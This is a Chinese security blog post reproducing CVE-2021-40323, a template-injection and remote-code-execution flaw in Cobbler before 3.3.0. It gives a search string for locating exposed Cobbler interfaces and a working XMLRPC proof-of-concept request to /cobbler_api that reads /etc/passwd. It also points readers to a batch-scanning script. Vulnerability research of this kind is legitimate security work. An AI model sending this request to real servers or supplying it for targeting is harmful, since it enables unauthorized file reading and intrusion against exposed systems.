漏洞复现-CVE-2021-40323

admin 2024年3月26日21:54:56评论24 views字数 1170阅读3分54秒阅读模式
免责声明

文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责。如有侵权烦请告知,我会立即删除并致歉。谢谢!

一:漏洞描述

   Cobbler是一款专注于自动化Linux系统安装和配置管理的工具,可帮助管理员快速部署服务器并确保配置一致性,支持多种操作系统和提供多项功能强大的特性,如Kickstart配置、PXE引导、DHCP管理等,提升系统管理效率和可靠性。

    该产品在3.3.0之前版本存在远程代码执行漏洞,该漏洞源于外部输入数据构造代码段的过程中,网络系统或产品未能正确过滤其中的特殊元素,攻击者可利用该漏洞通过特制的XMLRPC方法记录日志文件以进行模板注入,从而导致日志中毒和远程代码执行。

二:漏洞影响版本

Cobbler <3.3.0

三:网络空间测绘查询

"Cobbler Web Interface"

漏洞复现-CVE-2021-40323

漏洞复现-CVE-2021-40323

五:漏洞复现

POC1:

POST /cobbler_api HTTP/1.1Host: Content-Length: 0Content-Type: text/xmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36<?xml version='1.0'?>        <methodCall>          <methodName>generate_script</methodName>          <params>            <param>              <value>                <string>centos6-x86_64</string>              </value>            </param>            <param>              <value>                <string></string>              </value>            </param>            <param>              <value>                <string>/etc/passwd</string>              </value>            </param>          </params>        </methodCall>
远程代码执行漏洞(Remote Code Execution Vulnerability,RCE)是一种安全漏洞,允许攻击者在远程服务器上执行恶意代码。这种漏洞通常是由于应用程序对输入数据的不正确处理或验证不严格导致的。攻击者可以利用这种漏洞将恶意代码注入到应用程序中,然后远程执行该代码,从而获取系统权限、窃取数据或对系统进行破坏。

漏洞复现-CVE-2021-40323

六:批量检测 

漏洞复现-CVE-2021-40323

七:修复建议
建议更新当前系统或软件至最新版,完成漏洞的修复。
关注【Adler学安全】公众号
发送0322】键字获取批量验证脚本
发送【工具】获取渗透测试工具
发送【交流群1】加入交流群

原文始发于微信公众号(Adler学安全):漏洞复现-CVE-2021-40323

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月26日21:54:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞复现-CVE-2021-40323http://cn-sec.com/archives/2605200.html

发表评论

匿名网友 填写信息